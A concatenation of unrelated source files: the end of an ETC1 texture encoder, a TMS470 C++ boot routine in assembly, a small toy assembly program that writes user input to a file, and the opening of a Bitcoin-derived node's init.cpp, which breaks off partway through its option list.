const int* pModifierTable = kModifierTable;
for (int i = 0; i < 8; i++, pModifierTable += 4) {
etc_compressed temp;
temp.score = 0;
temp.high = originalHigh | (i << 5);
temp.low = 0;
etc_encode_subblock_helper(pIn, stride, &temp, flipped, 0,
pBaseColors, pModifierTable);
take_best(pCompressed, &temp);
}
pModifierTable = kModifierTable;
etc_compressed firstHalf = *pCompressed;
for (int i = 0; i < 8; i++, pModifierTable += 4) {
etc_compressed temp;
temp.score = firstHalf.score;
temp.high = firstHalf.high | (i << 2);
temp.low = firstHalf.low;
etc_encode_subblock_helper(pIn, stride, &temp, flipped, 2,
pBaseColors + 4, pModifierTable);
if (i == 0) {
*pCompressed = temp;
} else {
take_best(pCompressed, &temp);
}
}
}
static void writeBigEndian(etc1_byte* pOut, etc1_uint32 d) {
pOut[0] = (etc1_byte)(d >> 24);
pOut[1] = (etc1_byte)(d >> 16);
pOut[2] = (etc1_byte)(d >> 8);
pOut[3] = (etc1_byte) d;
}
namespace mango
{
void encode_block_etc1(const TextureCompressionInfo& info, u8* output, const u8* input, int stride)
{
MANGO_UNREFERENCED(info);
etc1_byte colors[8];
etc1_byte flippedColors[8];
etc_average_colors_subblock(input, stride, colors, false, 0);
etc_average_colors_subblock(input, stride, colors + 4, false, 2);
etc_average_colors_subblock(input, stride, flippedColors, true, 0);
etc_average_colors_subblock(input, stride, flippedColors + 4, true, 2);
etc_compressed a, b;
etc_encode_block_helper(input, stride, colors, &a, false);
etc_encode_block_helper(input, stride, flippedColors, &b, true);
take_best(&a, &b);
writeBigEndian(output + 0, a.high);
writeBigEndian(output + 4, a.low);
}
} // namespace mango
#endif // MANGO_ENABLE_LICENSE_APACHE
|
;****************************************************************************
;* BOOT.ASM
;*
;* THIS IS THE INITAL BOOT ROUTINE FOR TMS470 C++ PROGRAMS.
;* IT MUST BE LINKED AND LOADED WITH ALL C++ PROGRAMS.
;*
;* THIS MODULE PERFORMS THE FOLLOWING ACTIONS:
;* 1) ALLOCATES THE STACK AND INITIALIZES THE STACK POINTER
;* 2) CALLS AUTO-INITIALIZATION ROUTINE
;* 3) CALLS THE FUNCTION MAIN TO START THE C++ PROGRAM
;* 4) CALLS THE STANDARD EXIT ROUTINE
;*
;* THIS MODULE DEFINES THE FOLLOWING GLOBAL SYMBOLS:
;* 1) __stack STACK MEMORY AREA
;* 2) _c_int00 BOOT ROUTINE
;*
;****************************************************************************
.armfunc _c_int00
;****************************************************************************
; Accomodate different lowerd names in different ABIs
;****************************************************************************
.if __TI_EABI_ASSEMBLER
.asg _system_pre_init, PRE_INIT_RTN
.asg __TI_auto_init, AUTO_INIT_RTN
.asg _args_main, ARGS_MAIN_RTN
.asg exit, EXIT_RTN
.asg main_func_sp, MAIN_FUNC_SP
.else ; COFF TI ARM9 ABI
.asg __system_pre_init, PRE_INIT_RTN
.asg __TI_auto_init, AUTO_INIT_RTN ; NOTE does not use COFF prefix
.asg __args_main, ARGS_MAIN_RTN
.asg _exit, EXIT_RTN
.asg _main_func_sp, MAIN_FUNC_SP
.endif
;****************************************************************************
;* 32 BIT STATE BOOT ROUTINE *
;****************************************************************************
;***************************************************************
;* Define stacks for supervisor, IRQ and abort mode.
;***************************************************************
.global __stackSvc
.global __stackAbt
.global __stackIrq
.global __stackFiq
stackSvc .long __stackSvc
stackAbt .long __stackAbt
stackIrq .long __stackIrq
stackFiq .long __stackFiq
.global __stack
;***************************************************************
;* DEFINE THE USER MODE STACK (DEFAULT SIZE IS 512)
;***************************************************************
__stack:.usect ".stack", 0, 4
.global _c_int00
;***************************************************************
;* FUNCTION DEF: _c_int00
;***************************************************************
_c_int00: .asmfunc stack_usage(0)
.if __TI_NEON_SUPPORT__ | __TI_VFP_SUPPORT__
;*------------------------------------------------------
;* SETUP PRIVILEGED AND USER MODE ACCESS TO COPROCESSORS
;* 10 AND 11, REQUIRED TO ENABLE NEON/VFP
;* COPROCESSOR ACCESS CONTROL REG
;* BITS [23:22] - CP11, [21:20] - CP10
;* SET TO 0b11 TO ENABLE USER AND PRIV MODE ACCESS
;*------------------------------------------------------
MRC p15,#0x0,r0,c1,c0,#2
MOV r3,#0xf00000
ORR r0,r0,r3
MCR p15,#0x0,r0,c1,c0,#2
;*------------------------------------------------------
; SET THE EN BIT, FPEXC[30] TO ENABLE NEON AND VFP
;*------------------------------------------------------
MOV r0,#0x40000000
FMXR FPEXC,r0
.endif
;*------------------------------------------------------
;* SET TO USER MODE
;*------------------------------------------------------
;MRS r0, cpsr
;BIC r0, r0, #0x1F ; CLEAR MODES
;ORR r0, r0, #0x13 ; SET Supervisor MODE
;MSR cpsr_cf, r0
;*------------------------------------------------------
;* INITIALIZE THE USER MODE STACK
;*------------------------------------------------------
;.if __TI_AVOID_EMBEDDED_CONSTANTS
;MOVW sp, __stack
;MOVT sp, __stack
;MOVW r0, __STACK_SIZE
;MOVT r0, __STACK_SIZE
;.else
;LDR sp, c_stack
;LDR r0, c_STACK_SIZE
;.endif
;ADD sp, sp, r0
;*-----------------------------------------------------
;* ALIGN THE STACK TO 64-BITS IF EABI.
;*-----------------------------------------------------
.if __TI_EABI_ASSEMBLER
BIC sp, sp, #0x07 ; Clear upper 3 bits for 64-bit alignment.
.endif
;*-----------------------------------------------------
;* SAVE CURRENT STACK POINTER FOR SDP ANALYSIS
;*-----------------------------------------------------
;.if __TI_AVOID_EMBEDDED_CONSTANTS
;MOVW r0, MAIN_FUNC_SP
;MOVT r0, MAIN_FUNC_SP
;.else
;LDR r0, c_mf_sp
;.endif
;STR sp, [r0]
;*-------------------------------------------------------
;* Initialize the stacks, assign them
;*-------------------------------------------------------
;* Set Interrupt-Stack
;*-------------------------------------------------------
CPS 0x12 ; IRQ Mode 0b10010
LDR sp, stackIrq
;*-------------------------------------------------------
;* Set Interrupt-Stack
;*-------------------------------------------------------
CPS 0x11 ; FIQ Mode 0b10001
LDR sp, stackFiq
;*-------------------------------------------------------
;* Set AbortStack
;*-------------------------------------------------------
CPS 0x17 ; Abort mode 0b10111
LDR sp, stackAbt
;*-------------------------------------------------------
;* Set KernelStack
;*-------------------------------------------------------
CPS 0x13 ; Supervisor mode 0b 10011
LDR sp, stackSvc
;*------------------------------------------------------
;* Call the __mpu_init hook function.
;*------------------------------------------------------
BL __mpu_init
;*------------------------------------------------------
;* Perform all the required initializations when
;* _system_pre_init() returns non-zero:
;* - Process BINIT Table
;* - Perform C auto initialization
;* - Call global constructors
;*------------------------------------------------------
BL PRE_INIT_RTN
CMP R0, #0
BEQ bypass_auto_init
BL AUTO_INIT_RTN
bypass_auto_init:
;*------------------------------------------------------
;* CALL APPLICATION
;*------------------------------------------------------
BL ARGS_MAIN_RTN
;*------------------------------------------------------
;* IF APPLICATION DIDN'T CALL EXIT, CALL EXIT(1)
;*------------------------------------------------------
MOV R0, #1
BL EXIT_RTN
;*------------------------------------------------------
;* DONE, LOOP FOREVER
;*------------------------------------------------------
L1: B L1
.endasmfunc
;***************************************************************
;* CONSTANTS USED BY THIS MODULE
;***************************************************************
.if !__TI_AVOID_EMBEDDED_CONSTANTS
c_stack .long __stack
c_STACK_SIZE .long __STACK_SIZE
c_mf_sp .long MAIN_FUNC_SP
.endif
.if __TI_EABI_ASSEMBLER
.data
.align 4
_stkchk_called:
.field 0,32
.else
.sect ".cinit"
.align 4
.field 4,32
.field _stkchk_called+0,32
.field 0,32
.bss _stkchk_called,4,4
.symdepend ".cinit", ".bss"
.symdepend ".cinit", ".text"
.symdepend ".bss", ".text"
.endif
;******************************************************
;* UNDEFINED REFERENCES *
;******************************************************
.global _stkchk_called
.global __STACK_SIZE
.global PRE_INIT_RTN
.global AUTO_INIT_RTN
.global ARGS_MAIN_RTN
.global MAIN_FUNC_SP
.global EXIT_RTN
.global __mpu_init
.end
|
.file "diskio"
.init main
.string exampleFile "/tmp/myfile.txt"
.string prompt "Please enter something to write to file: "
<main:
size r0 gs
pushw ls r0 ; Store the current size of the global stack locally
call prompt_user
call get_user_input
popw r0 ls ; Get the original size of the global stack into r0
call write_user_input_to_disk
>
; --------------------------------------------------------
; PROMPT USER FOR INPUT
; --------------------------------------------------------
<prompt_user:
lsh r0 $10 $56 ; Load 0x0A into MSB register 0
lsh r1 $1 $48 ; Target stdout
; Make the stdout instruction seen in devices.md for stdout
or r0 r0 r1
size r1 gs
mov r2 $15 ; Get only the second string
loop_top:
ldb r11 r2(gs) ; Load from gs index ( basicelly gs[r1] )
mov r10 r0 ; Trigger stdout
add r2 r2 $1 ; add one to conuter
blt r2 r1 loop_top
>
; --------------------------------------------------------
; GET DATA FROM USER TO WRITE TO DISK
; --------------------------------------------------------
<get_user_input:
lsh r0 $10 $56 ; Load 0x0A into MSB register 0
lsh r1 $0 $48 ; Not really neaded with stdin
lsh r2 $255 $16 ; Read up-to 255 chars
lsh r3 $10 $8 ; Load the terminating char '\n'
; Make the stdin instruction seen in devices.md for stdin
or r0 r0 r1 ; Pack into single register
or r0 r0 r2 ; Pack into single register
or r0 r0 r3 ; Pack into single register
mov r10 r0 ; Move the command into the trigger register
>
; --------------------------------------------------------
; WRITE USER INPUT TO DISK
; --------------------------------------------------------
<write_user_input_to_disk:
; Original global stack size (before user input) is in r0
pushw ls r0
;
; Command the IO Device to open the 'exampleFile'
;
lsh r5 $10 $56 ; Load 0x0A into MSB register 5
lsh r6 $101 $48 ; Set target to 'diskout'
lsh r7 $1 $40 ; Set instruction to 'open'
lsh r8 $1 $32 ; Set the mode to 'write / create'
or r5 r5 r6 ; Assemble the command
or r5 r5 r7 ; Assemble the command
or r5 r5 r8
pushw ls r5 ; Store the command in ls
lsh r5 $0 $32 ; Load the start address of the file string
or r5 r5 $15 ; Load the end address of the file string
mov r11 r5 ; Move the stack address information into register io device will expect
popw r5 ls ; popw the command into r5 so we don't lose it after call
mov r10 r5 ; Move command into trigger register
beq r11 r10 bottom_label ; If fail happens r11 will be 0, and since r10 is zeroed by io device we can compare for err check
;
; Write out the file
;
lsh r5 $10 $56 ; Load 0x0A into MSB register 5
lsh r6 $101 $48 ; Set target to 'diskout'
lsh r7 $10 $40 ; Set instruction to 'write'
or r5 r5 r6 ; Assemble the command
or r5 r5 r7 ; Assemble the command
mov r0 r5 ; store in r0
popw r2 ls ; popw the original stack size into r2 for counter globalStack[userInputIdx]
size r5 gs
output_loop:
ldb r11 r2(gs)
mov r10 r0 ; Trigger disk write
add r2 r2 $1 ; counter += 1
bne r2 r5 output_loop
;
; Close the file
;
lsh r5 $10 $56 ; Load 0x0A into MSB register 5
lsh r6 $200 $48 ; Set target to 'close'
or r10 r5 r6 ; Assemble the command into trigger register
bottom_label:
ret
> |
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2018 The Arowanacoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include <config/bitcoin-config.h>
#endif
#include <init.h>
#include <addrman.h>
#include <amount.h>
#include <banman.h>
#include <blockfilter.h>
#include <chain.h>
#include <chainparams.h>
#include <compat/sanity.h>
#include <consensus/validation.h>
#include <fs.h>
#include <httprpc.h>
#include <httpserver.h>
#include <index/blockfilterindex.h>
#include <index/txindex.h>
#include <interfaces/chain.h>
#include <key.h>
#include <miner.h>
#include <net.h>
#include <net_permissions.h>
#include <net_processing.h>
#include <netbase.h>
#include <policy/feerate.h>
#include <policy/fees.h>
#include <policy/policy.h>
#include <policy/settings.h>
#include <rpc/blockchain.h>
#include <rpc/register.h>
#include <rpc/server.h>
#include <rpc/util.h>
#include <scheduler.h>
#include <script/sigcache.h>
#include <script/standard.h>
#include <shutdown.h>
#include <timedata.h>
#include <torcontrol.h>
#include <txdb.h>
#include <txmempool.h>
#include <ui_interface.h>
#include <util/moneystr.h>
#include <util/system.h>
#include <util/threadnames.h>
#include <util/translation.h>
#include <util/validation.h>
#include <validation.h>
#include <validationinterface.h>
#include <walletinitinterface.h>
#include <stdint.h>
#include <stdio.h>
#include <set>
#ifndef WIN32
#include <attributes.h>
#include <cerrno>
#include <signal.h>
#include <sys/stat.h>
#endif
#include <boost/algorithm/string/classification.hpp>
#include <boost/algorithm/string/replace.hpp>
#include <boost/algorithm/string/split.hpp>
#include <boost/thread.hpp>
#if ENABLE_ZMQ
#include <zmq/zmqabstractnotifier.h>
#include <zmq/zmqnotificationinterface.h>
#include <zmq/zmqrpc.h>
#endif
static bool fFeeEstimatesInitialized = false;
static const bool DEFAULT_PROXYRANDOMIZE = true;
static const bool DEFAULT_REST_ENABLE = false;
static const bool DEFAULT_STOPAFTERBLOCKIMPORT = false;
// Dump addresses to banlist.dat every 15 minutes (900s)
static constexpr int DUMP_BANS_INTERVAL = 60 * 15;
std::unique_ptr<CConnman> g_connman;
std::unique_ptr<PeerLogicValidation> peerLogic;
std::unique_ptr<BanMan> g_banman;
#ifdef WIN32
// Win32 LevelDB doesn't use filedescriptors, and the ones used for
// accessing block files don't count towards the fd_set size limit
// anyway.
#define MIN_CORE_FILEDESCRIPTORS 0
#else
#define MIN_CORE_FILEDESCRIPTORS 150
#endif
static const char* FEE_ESTIMATES_FILENAME="fee_estimates.dat";
/**
* The PID file facilities.
*/
static const char* BITCOIN_PID_FILENAME = "arowanacoind.pid";
static fs::path GetPidFile()
{
return AbsPathForConfigVal(fs::path(gArgs.GetArg("-pid", BITCOIN_PID_FILENAME)));
}
NODISCARD static bool CreatePidFile()
{
fsbridge::ofstream file{GetPidFile()};
if (file) {
#ifdef WIN32
tfm::format(file, "%d\n", GetCurrentProcessId());
#else
tfm::format(file, "%d\n", getpid());
#endif
return true;
} else {
return InitError(strprintf(_("Unable to create the PID file '%s': %s").translated, GetPidFile().string(), std::strerror(errno)));
}
}
//////////////////////////////////////////////////////////////////////////////
//
// Shutdown
//
//
// Thread management and startup/shutdown:
//
// The network-processing threads are all part of a thread group
// created by AppInit() or the Qt main() function.
//
// A clean exit happens when StartShutdown() or the SIGTERM
// signal handler sets ShutdownRequested(), which makes main thread's
// WaitForShutdown() interrupts the thread group.
// And then, WaitForShutdown() makes all other on-going threads
// in the thread group join the main thread.
// Shutdown() is then called to clean up database connections, and stop other
// threads that should only be stopped after the main network-processing
// threads have exited.
//
// Shutdown for Qt is very similar, only it uses a QTimer to detect
// ShutdownRequested() getting set, and then does the normal Qt
// shutdown thing.
//
static std::unique_ptr<ECCVerifyHandle> globalVerifyHandle;
static boost::thread_group threadGroup;
static CScheduler scheduler;
void Interrupt()
{
InterruptHTTPServer();
InterruptHTTPRPC();
InterruptRPC();
InterruptREST();
InterruptTorControl();
InterruptMapPort();
if (g_connman)
g_connman->Interrupt();
if (g_txindex) {
g_txindex->Interrupt();
}
ForEachBlockFilterIndex([](BlockFilterIndex& index) { index.Interrupt(); });
}
void Shutdown(InitInterfaces& interfaces)
{
LogPrintf("%s: In progress...\n", __func__);
static CCriticalSection cs_Shutdown;
TRY_LOCK(cs_Shutdown, lockShutdown);
if (!lockShutdown)
return;
/// Note: Shutdown() must be able to handle cases in which initialization failed part of the way,
/// for example if the data directory was found to be locked.
/// Be sure that anything that writes files or flushes caches only does this if the respective
/// module was initialized.
util::ThreadRename("shutoff");
mempool.AddTransactionsUpdated(1);
StopHTTPRPC();
StopREST();
StopRPC();
StopHTTPServer();
for (const auto& client : interfaces.chain_clients) {
client->flush();
}
StopMapPort();
// Because these depend on each-other, we make sure that neither can be
// using the other before destroying them.
if (peerLogic) UnregisterValidationInterface(peerLogic.get());
if (g_connman) g_connman->Stop();
StopTorControl();
// After everything has been shut down, but before things get flushed, stop the
// CScheduler/checkqueue threadGroup
threadGroup.interrupt_all();
threadGroup.join_all();
// After the threads that potentially access these pointers have been stopped,
// destruct and reset all to nullptr.
peerLogic.reset();
g_connman.reset();
g_banman.reset();
if (::mempool.IsLoaded() && gArgs.GetArg("-persistmempool", DEFAULT_PERSIST_MEMPOOL)) {
DumpMempool(::mempool);
}
if (fFeeEstimatesInitialized)
{
::feeEstimator.FlushUnconfirmed();
fs::path est_path = GetDataDir() / FEE_ESTIMATES_FILENAME;
CAutoFile est_fileout(fsbridge::fopen(est_path, "wb"), SER_DISK, CLIENT_VERSION);
if (!est_fileout.IsNull())
::feeEstimator.Write(est_fileout);
else
LogPrintf("%s: Failed to write fee estimates to %s\n", __func__, est_path.string());
fFeeEstimatesInitialized = false;
}
// FlushStateToDisk generates a ChainStateFlushed callback, which we should avoid missing
//
// g_chainstate is referenced here directly (instead of ::ChainstateActive()) because it
// may not have been initialized yet.
{
LOCK(cs_main);
if (g_chainstate && g_chainstate->CanFlushToDisk()) {
g_chainstate->ForceFlushStateToDisk();
}
}
// After there are no more peers/RPC left to give us new data which may generate
// CValidationInterface callbacks, flush them...
GetMainSignals().FlushBackgroundCallbacks();
// Stop and delete all indexes only after flushing background callbacks.
if (g_txindex) {
g_txindex->Stop();
g_txindex.reset();
}
ForEachBlockFilterIndex([](BlockFilterIndex& index) { index.Stop(); });
DestroyAllBlockFilterIndexes();
// Any future callbacks will be dropped. This should absolutely be safe - if
// missing a callback results in an unrecoverable situation, unclean shutdown
// would too. The only reason to do the above flushes is to let the wallet catch
// up with our current chain to avoid any strange pruning edge cases and make
// next startup faster by avoiding rescan.
{
LOCK(cs_main);
if (g_chainstate && g_chainstate->CanFlushToDisk()) {
g_chainstate->ForceFlushStateToDisk();
g_chainstate->ResetCoinsViews();
}
pblocktree.reset();
}
for (const auto& client : interfaces.chain_clients) {
client->stop();
}
#if ENABLE_ZMQ
if (g_zmq_notification_interface) {
UnregisterValidationInterface(g_zmq_notification_interface);
delete g_zmq_notification_interface;
g_zmq_notification_interface = nullptr;
}
#endif
try {
if (!fs::remove(GetPidFile())) {
LogPrintf("%s: Unable to remove PID file: File does not exist\n", __func__);
}
} catch (const fs::filesystem_error& e) {
LogPrintf("%s: Unable to remove PID file: %s\n", __func__, fsbridge::get_filesystem_error_message(e));
}
interfaces.chain_clients.clear();
UnregisterAllValidationInterfaces();
GetMainSignals().UnregisterBackgroundSignalScheduler();
GetMainSignals().UnregisterWithMempoolSignals(mempool);
globalVerifyHandle.reset();
ECC_Stop();
LogPrintf("%s: done\n", __func__);
}
/**
* Signal handlers are very limited in what they are allowed to do.
* The execution context the handler is invoked in is not guaranteed,
* so we restrict handler operations to just touching variables:
*/
#ifndef WIN32
static void HandleSIGTERM(int)
{
StartShutdown();
}
static void HandleSIGHUP(int)
{
LogInstance().m_reopen_file = true;
}
#else
static BOOL WINAPI consoleCtrlHandler(DWORD dwCtrlType)
{
StartShutdown();
Sleep(INFINITE);
return true;
}
#endif
#ifndef WIN32
static void registerSignalHandler(int signal, void(*handler)(int))
{
struct sigaction sa;
sa.sa_handler = handler;
sigemptyset(&sa.sa_mask);
sa.sa_flags = 0;
sigaction(signal, &sa, nullptr);
}
#endif
static boost::signals2::connection rpc_notify_block_change_connection;
static void OnRPCStarted()
{
rpc_notify_block_change_connection = uiInterface.NotifyBlockTip_connect(&RPCNotifyBlockChange);
}
static void OnRPCStopped()
{
rpc_notify_block_change_connection.disconnect();
RPCNotifyBlockChange(false, nullptr);
g_best_block_cv.notify_all();
LogPrint(BCLog::RPC, "RPC stopped.\n");
}
void SetupServerArgs()
{
SetupHelpOptions(gArgs);
gArgs.AddArg("-help-debug", "Print help message with debugging options and exit", ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST); // server-only for now
const auto defaultBaseParams = CreateBaseChainParams(CBaseChainParams::MAIN);
const auto testnetBaseParams = CreateBaseChainParams(CBaseChainParams::TESTNET);
const auto regtestBaseParams = CreateBaseChainParams(CBaseChainParams::REGTEST);
const auto defaultChainParams = CreateChainParams(CBaseChainParams::MAIN);
const auto testnetChainParams = CreateChainParams(CBaseChainParams::TESTNET);
const auto regtestChainParams = CreateChainParams(CBaseChainParams::REGTEST);
// Hidden Options
std::vector<std::string> hidden_args = {
"-dbcrashratio", "-forcecompactdb",
// GUI args. These will be overwritten by SetupUIArgs for the GUI
"-allowselfsignedrootcertificates", "-choosedatadir", "-lang=<lang>", "-min", "-resetguisettings", "-rootcertificates=<file>", "-splash", "-uiplatform"};
gArgs.AddArg("-version", "Print version and exit", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
#if HAVE_SYSTEM
gArgs.AddArg("-alertnotify=<cmd>", "Execute command when a relevant alert is received or we see a really long fork (%s in cmd is replaced by message)", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
#endif
gArgs.AddArg("-assumevalid=<hex>", strprintf("If this block is in the chain assume that it and its ancestors are valid and potentially skip their script verification (0 to verify all, default: %s, testnet: %s)", defaultChainParams->GetConsensus().defaultAssumeValid.GetHex(), testnetChainParams->GetConsensus().defaultAssumeValid.GetHex()), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-blocksdir=<dir>", "Specify directory to hold blocks subdirectory for *.dat files (default: <datadir>)", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
#if HAVE_SYSTEM
gArgs.AddArg("-blocknotify=<cmd>", "Execute command when the best block changes (%s in cmd is replaced by block hash)", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
#endif
gArgs.AddArg("-blockreconstructionextratxn=<n>", strprintf("Extra transactions to keep in memory for compact block reconstructions (default: %u)", DEFAULT_BLOCK_RECONSTRUCTION_EXTRA_TXN), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-blocksonly", strprintf("Whether to reject transactions from network peers. Transactions from the wallet, RPC and relay whitelisted inbound peers are not affected. (default: %u)", DEFAULT_BLOCKSONLY), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-conf=<file>", strprintf("Specify configuration file. Relative paths will be prefixed by datadir location. (default: %s)", BITCOIN_CONF_FILENAME), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-datadir=<dir>", "Specify data directory", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-dbbatchsize", strprintf("Maximum database write batch size in bytes (default: %u)", nDefaultDbBatchSize), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::OPTIONS);
gArgs.AddArg("-dbcache=<n>", strprintf("Maximum database cache size <n> MiB (%d to %d, default: %d). In addition, unused mempool memory is shared for this cache (see -maxmempool).", nMinDbCache, nMaxDbCache, nDefaultDbCache), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-debuglogfile=<file>", strprintf("Specify location of debug log file. Relative paths will be prefixed by a net-specific datadir location. (-nodebuglogfile to disable; default: %s)", DEFAULT_DEBUGLOGFILE), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-feefilter", strprintf("Tell other nodes to filter invs to us by our mempool min fee (default: %u)", DEFAULT_FEEFILTER), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::OPTIONS);
gArgs.AddArg("-includeconf=<file>", "Specify additional configuration file, relative to the -datadir path (only useable from configuration file, not command line)", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-loadblock=<file>", "Imports blocks from external blk000??.dat file on startup", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-maxmempool=<n>", strprintf("Keep the transaction memory pool below <n> megabytes (default: %u)", DEFAULT_MAX_MEMPOOL_SIZE), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-maxorphantx=<n>", strprintf("Keep at most <n> unconnectable transactions in memory (default: %u)", DEFAULT_MAX_ORPHAN_TRANSACTIONS), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-mempoolexpiry=<n>", strprintf("Do not keep transactions in the mempool longer than <n> hours (default: %u)", DEFAULT_MEMPOOL_EXPIRY), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-minimumchainwork=<hex>", strprintf("Minimum work assumed to exist on a valid chain in hex (default: %s, testnet: %s)", defaultChainParams->GetConsensus().nMinimumChainWork.GetHex(), testnetChainParams->GetConsensus().nMinimumChainWork.GetHex()), ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::OPTIONS);
gArgs.AddArg("-par=<n>", strprintf("Set the number of script verification threads (%u to %d, 0 = auto, <0 = leave that many cores free, default: %d)",
-GetNumCores(), MAX_SCRIPTCHECK_THREADS, DEFAULT_SCRIPTCHECK_THREADS), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-persistmempool", strprintf("Whether to save the mempool on shutdown and load on restart (default: %u)", DEFAULT_PERSIST_MEMPOOL), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-pid=<file>", strprintf("Specify pid file. Relative paths will be prefixed by a net-specific datadir location. (default: %s)", BITCOIN_PID_FILENAME), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-prune=<n>", strprintf("Reduce storage requirements by enabling pruning (deleting) of old blocks. This allows the pruneblockchain RPC to be called to delete specific blocks, and enables automatic pruning of old blocks if a target size in MiB is provided. This mode is incompatible with -txindex and -rescan. "
"Warning: Reverting this setting requires re-downloading the entire blockchain. "
"(default: 0 = disable pruning blocks, 1 = allow manual pruning via RPC, >=%u = automatically prune block files to stay under the specified target size in MiB)", MIN_DISK_SPACE_FOR_BLOCK_FILES / 1024 / 1024), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-reindex", "Rebuild chain state and block index from the blk*.dat files on disk", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-reindex-chainstate", "Rebuild chain state from the currently indexed blocks. When in pruning mode or if blocks on disk might be corrupted, use full -reindex instead.", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
#ifndef WIN32
gArgs.AddArg("-sysperms", "Create new files with system default permissions, instead of umask 077 (only effective with disabled wallet functionality)", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
#else
hidden_args.emplace_back("-sysperms");
#endif
gArgs.AddArg("-txindex", strprintf("Maintain a full transaction index, used by the getrawtransaction rpc call (default: %u)", DEFAULT_TXINDEX), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-blockfilterindex=<type>",
strprintf("Maintain an index of compact filters by block (default: %s, values: %s).", DEFAULT_BLOCKFILTERINDEX, ListBlockFilterTypes()) +
" If <type> is not supplied or if <type> = 1, indexes for all known types are enabled.",
ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
gArgs.AddArg("-addnode=<ip>", "Add a node to connect to and attempt to keep the connection open (see the `addnode` RPC command help for more info). This option can be specified multiple times to add multiple nodes.", ArgsManager::ALLOW_ANY | ArgsManager::NETWORK_ONLY, OptionsCategory::CONNECTION);
gArgs.AddArg("-banscore=<n>", strprintf("Threshold for disconnecting misbehaving peers (default: %u)", DEFAULT_BANSCORE_THRESHOLD), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-bantime=<n>", strprintf("Number of seconds to keep misbehaving peers from reconnecting (default: %u)", DEFAULT_MISBEHAVING_BANTIME), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-bind=<addr>", "Bind to given address and always listen on it. Use [host]:port notation for IPv6", ArgsManager::ALLOW_ANY | ArgsManager::NETWORK_ONLY, OptionsCategory::CONNECTION);
gArgs.AddArg("-connect=<ip>", "Connect only to the specified node; -noconnect disables automatic connections (the rules for this peer are the same as for -addnode). This option can be specified multiple times to connect to multiple nodes.", ArgsManager::ALLOW_ANY | ArgsManager::NETWORK_ONLY, OptionsCategory::CONNECTION);
gArgs.AddArg("-discover", "Discover own IP addresses (default: 1 when listening and no -externalip or -proxy)", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-dns", strprintf("Allow DNS lookups for -addnode, -seednode and -connect (default: %u)", DEFAULT_NAME_LOOKUP), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-dnsseed", "Query for peer addresses via DNS lookup, if low on addresses (default: 1 unless -connect used)", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-enablebip61", strprintf("Send reject messages per BIP61 (default: %u)", DEFAULT_ENABLE_BIP61), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-externalip=<ip>", "Specify your own public address", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-forcednsseed", strprintf("Always query for peer addresses via DNS lookup (default: %u)", DEFAULT_FORCEDNSSEED), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-listen", "Accept connections from outside (default: 1 if no -proxy or -connect)", ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-listenonion", strprintf("Automatically create Tor hidden service (default: %d)", DEFAULT_LISTEN_ONION), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-maxconnections=<n>", strprintf("Maintain at most <n> connections to peers (default: %u)", DEFAULT_MAX_PEER_CONNECTIONS), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
gArgs.AddArg("-maxreceivebuffer=<n>", strprintf("Maximum per-connection receive buffer, <n>*1000 bytes (default: %u)", DEFAULT_MAXRECEIVEBUFFER), ArgsManager::ALLOW_ANY, OptionsCategory::CONNECTION);
